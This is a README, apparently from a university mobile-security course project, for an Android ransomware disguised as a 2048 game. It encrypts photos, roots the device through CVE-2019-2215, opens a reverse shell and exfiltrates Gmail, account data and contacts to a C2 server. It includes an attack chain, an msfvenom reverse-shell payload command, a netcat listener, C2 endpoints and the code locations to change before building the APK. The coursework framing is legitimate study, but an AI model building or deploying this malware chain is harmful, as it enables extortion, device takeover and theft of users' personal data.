Rootsmart 2.0 с cve-2019-2215 + Ransomware

Отказ от ответственности

Этот проект предназначен исключительно для образовательных целей. Этот проект использует код из rkshrksh/2048-Game и kangtastic/cve-2019-2215.

Описание проекта

Этот проект является частью модуля «Мобильная безопасность» Сингапурского института технологий. Проект был выполнен в течение 6 недель, и его целью была разработка вредоносного Android-приложения. Это помогло нам узнать, как реализуются механизмы безопасности в ОС Android и как мы можем применить OWASP Mobile Top 10:2017 M8 - Подмена кода (Code Tampering).

Проект является доказательством концепции для демонстрации собственного вымогательского ПО, которое использует шифрование AES, делает опасным cve-2019-2215, а также извлекает данные с зараженного устройства.

Протестировано на Android 10 и Google Pixel 2 XL.

├── 2048-Game 					// Android Project Folder
├── 2048-keystore				// Test-Keystore
├── cve-2019-2215				// Modified cve-2019-2215
│	└── cve-2019-2215.c
├── dropper_server				// Dropper server directory 
│	├── cve-2019-2215			// shells.zip content before zipping
│	├── dropper_server.py		// Dropper server program
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Netcat windows binary - for Reverse shell listener
│	├── requirements.txt
│	├── shells.zip  			// shells.zip that is hosted in root of dropper server
│	└── venv
└── test_images    				// test_images for easy adb push <image.ext> /sdcard/Pictures

Вектор атаки:

1. Установите, запустите приложение и предоставьте разрешения
2. Ransomware зашифрует AES все файлы в /sdcard/Pictures
3. Каждый файл будет зашифрован случайно сгенерированным ключом
4. Ключи будут храниться в /sdcard/keys.json, где каждая пара ключ:значение — это путь_к_файлу:ключ
5. Выполняется GET-запрос HTTP к C2-серверу /get_mk для получения MasterKey и VictimID в теле ответа
6. MasterKey зашифрует keys.json, VictimID будет сохранен в /sdcard/victimID.txt
7. Приложение загрузит shells.zip и распакует содержимое
8. Запустит бинарный файл cve-2019-2215 из распакованного содержимого
9. Будет запущен процесс root-оболочки, который выполнит install.sh из распакованного содержимого
10. Install.sh выполнит rs.elf из распакованного содержимого для отправки обратного подключения к серверу атаки
11. Приложение извлечет Gmail, информацию об учетной записи пользователя и контакты с устройства.

Демонстрация

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4

C2 (Command & Control) - Настройка

Для этого теста убедитесь, что телефон жертвы и C2-сервер находятся в одной подсети (в противном случае разместите C2 в публичном интернете). В C2-сервере есть 3 конечные точки, которые можно найти в dropper/dropper_server.py:

1. /process_command - GET для загрузки shells.zip и запуска эксплойта root cve-2019-2215
2. /get_mk - GET для получения пары ключ-значение victimID:masterkey для шифрования /sdcard/keys.json
3. /postData - POST для отправки извлеченных Gmail, контактов, информации об учетной записи

Сервер обратной оболочки

nc -lvnp 1337 # Ideally this should be the same IP as the dropper server

Сервер дроппера

# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf

# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv

# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator

# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows

shells.zip в /dropper

1. Перейдите в папку dropper/cve-2019-2215
2. После создания rs.elf заархивируйте rs.elf + cve-2019-2215, install.sh
3. Переименуйте zip-файл в shells.zip
4. Переместите shells.zip в /dropper

Измените следующее перед компиляцией APK

Java-классы

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45

// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32